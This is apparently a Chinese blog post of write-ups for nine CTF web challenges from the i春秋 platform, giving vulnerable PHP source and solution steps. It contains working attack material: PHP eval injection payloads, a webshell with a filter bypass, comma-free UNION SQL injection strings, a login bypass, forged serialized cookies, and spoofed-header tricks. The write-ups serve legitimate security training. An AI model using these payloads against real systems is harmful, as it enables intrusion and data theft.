I春秋刷题 WEB篇

I春秋刷题 WEB篇

一、爆破-1

题目内容:flag就在某六位变量中。

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
 die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

解答:
preg_match('/^\w*$/',$a ) 过滤所有小写字母,通过大写字母绕过
eval("var_dump($$a);"); 加上题目解释联想到_SERVER、_COOKIE等变量,测试可以通过,测试GLOABLES,可以打印出全部变量

二、爆破-2

题目内容:flag不在变量中/

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

解答
允许function运行
payload:hello=file_get_contents('flag.php')

三、爆破-3

题目内容:这次是真的爆破

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){
 session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
 $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
 echo $str_rands;
}

if($_SESSION['nums']>=10){
 echo $flag;
}

show_source(__FILE__);
?>

解答:
120秒内完成,第一次

_session['whoami']='ea',每访问一次会随机赋值
_session['whoami'],同时会在页面显示,将显示的值通过palyload:?value[]=xx;连续10次即可得到flag。

四、web upload

想怎么传就怎么传,就是这么任性

打开页面,发现允许上传任何文件,上传后又回显,打开上传文件,选择查看源代码,发现过滤被替换了了php和<?
构建webshell; <script language="Pphphp">@eval($_POST['shell']);</script>,采取双写绕过php,然后菜刀直接获取shell权限。

五、Web Code

考脑洞,你能过么?

目录扫描发现.idea目录,位phpstrom的临时目录,查看发现fl3g_ichuqiu.php,config.php
通过?jpg=hei.jpg,确认是文件包含,将hei.jpg修改位index.php可以获取index.php的base64文件内容,解密可以看到正则过滤,其中将config过滤位_,因此可以同构拼接字符串fl3gconfigichuqiu.php获取到fl3g_ichuqiu.php的内容。
发现fl3g_ichuqiu.php文件包含两个加密和解密函数,通过分析,获取到了需要在cookie中将system和key加密后上传,服务器解密匹配好即可获取flag,相关代码:

function ss1($txt,$m){
  for($i=0;$i<strlen($m);$i++){
      $tmp .= chr(ord($m[$i])+10);
  }
  $m=$tmp;
  $tmp='';
  $txt=base64_decode($txt);
  $rnd = substr($txt,0,4);
  $txt = substr($txt,4);
  for($i=0;$i<strlen($txt);$i++){
       $key .= $txt[$i] ^ $m[$i];
  }
  $s='0123456789abcdef';
  $txt1='system';
  for($i=0;$i<strlen($txt1);$i++){
      $tmp .= chr(ord($txt1[$i])+10);
  }
  $txt1=$tmp;
  $tmp='';
  for($i=0;$i<16;$i++){
       $tmp = $key.$s[$i];echo $tmp;
          for($ii=0;$ii<strlen($txt1);$ii++){
              $txt2 .= $txt1[$ii] ^ $tmp[$ii];
          }        
      echo base64_encode($rnd.$txt2).'</br>';
      $txt2='';
      }
}
ss('OTFkdUlMXEhO','guest');

六 WEB sqli

题目真正的入库:l0gin.php?id=1
通过测试,发现程序屏蔽了,号,采用join的方式进行绕过,payload如下:

-1' union select * from (select database()) a join (select version() ) b %23  #屏蔽了逗号的情况下使用,对select database()进行替换即可,例如
-1‘ union select * from (select column_name from information_schema.columns where table_schema=database() and table_name='users') a join (select version() ) b %23
-1' union select * from (select group_concat(flag_9c861b688330) from users) a join (select version() ) b %23

七 web login

打开登录页面,查看源代码发现test1 test1,用于登录,成功来到下一个页面。
发现没有任何提示,bp抓包,发现show=0,将其改为show=1成功得到源代码
审计发现只需要$login['user']==='ichunqiu',即可得到flag
构造payload:

$db=array('user'=>'ichunqiu');
echo base64_encode(gzcompress(serialize($db)));

将起放入cookie发送,即可得到flag
array_merge()如果又同命变量,会用后一个覆盖前一个变量,cookie是最后一个采用的所以放入cookie发送。

八 web getFlag

打开页面,点击login登录,会提示substr(md5(captcha), 0, 6)=f60728,这个值是随机的,所以每次刷新会改变,通过python碰撞前6位,代码如下:

import hashlib
head = '3a01cb'
for i in range(10000,10000000):
   catch = i
    val = hashlib.md5(str(catch)).hexdigest()   
    if val[0:6] == head:
        print i
        break;

用户名通过万能密码1' or 1=1 # 绕过即可登录。
登录后,点击a.php,可以得到提示,得知flag.php在根目录下,通过download.php?file=flag.php可以下载flag.php得到具体源码。
查看源码,POST提交flag=flag;即可获取flag。

九 web Not Found

打开页面,显示Not Found,查看相应头,发现X-Methods:haha,google查询X-Methods,可以查询到http的请求又如下几种:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Methods
挨个尝试,直到options的时候,返回?f=1.php
带入url,发现返回 not here plz trying,dirsearch扫描存在.htacess文件,访问?f=.htacess文件,发现存在一个html的页面跳转。
直接访问html页面,发现XFF提示,请求头部加入X-Forwarded-For:127.0.0.1,但依然提示错误, google继续,发现存在client-ip选项,加入,获得flag

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容